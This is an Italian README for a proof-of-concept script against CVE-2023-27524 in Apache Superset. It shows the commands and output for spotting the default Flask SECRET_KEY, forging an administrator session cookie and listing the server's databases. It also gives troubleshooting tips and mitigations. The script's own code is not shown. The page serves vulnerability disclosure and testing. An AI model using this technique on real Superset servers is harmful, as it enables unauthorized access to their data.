CVE-2023-27524: Bypass dell'autenticazione di Apache Superset

Script per verificare se un server Apache Superset è in esecuzione con una configurazione predefinita non sicura (CVE-2023-27524). Lo script verifica se i cookie di sessione di un server Superset sono firmati con una delle note chiavi SECRET_KEY Flask predefinite.

Il flag --validate può essere utilizzato per convalidare la sfruttabilità enumerando i database tramite l'API di Superset.

Articolo del blog

Maggiori dettagli qui: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset Articolo di follow-up: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/

Utilizzo

% python3 CVE-2023-27524.py -h                           
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]

optional arguments:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of Superset instance
  --id ID               User ID to forge session cookie for, default=1
  --validate, -v        Validate login
  --timeout TIMEOUT, -t TIMEOUT
                        Time to wait before using forged session cookie, default=5s

Esempio base

% python3 CVE-2023-27524.py -u http://10.0.220.200:8088   
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg

Esempio con prova di sfruttabilità

% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases

Risoluzione dei problemi

Se lo script rileva una SECRET_KEY in uso ma non è in grado di convalidare la sfruttabilità, potrebbe essere perché:

il server di destinazione è integrato con SSO e gli ID utente non seguono il formato a incremento automatico (prova l'argomento --id per impostare uno user_id specifico se lo conosci)
nessun utente è stato ancora configurato
deriva temporale tra il server di destinazione e la tua macchina. I cookie di sessione Flask sono firmati con un elemento timestamp. Prova ad aumentare l'intervallo di attesa di 5 secondi nel codice.

Mitigazioni

Segui le istruzioni qui per generare e configurare una Flask SECRET_KEY. Lo strumento CLI superset può essere utilizzato per ruotare la SECRET_KEY in modo che le informazioni di connessione al database esistenti vengano preservate.

Segui l'Horizon3.ai Attack Team su Twitter per le ultime ricerche sulla sicurezza:

Dichiarazione di non responsabilità

Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è inteso per essere utilizzato per attaccare sistemi se non esplicitamente autorizzati. I manutentori del progetto non sono responsabili dell'uso improprio del software. Utilizzare in modo responsabile.

CVE-2023-27524

Più Popolari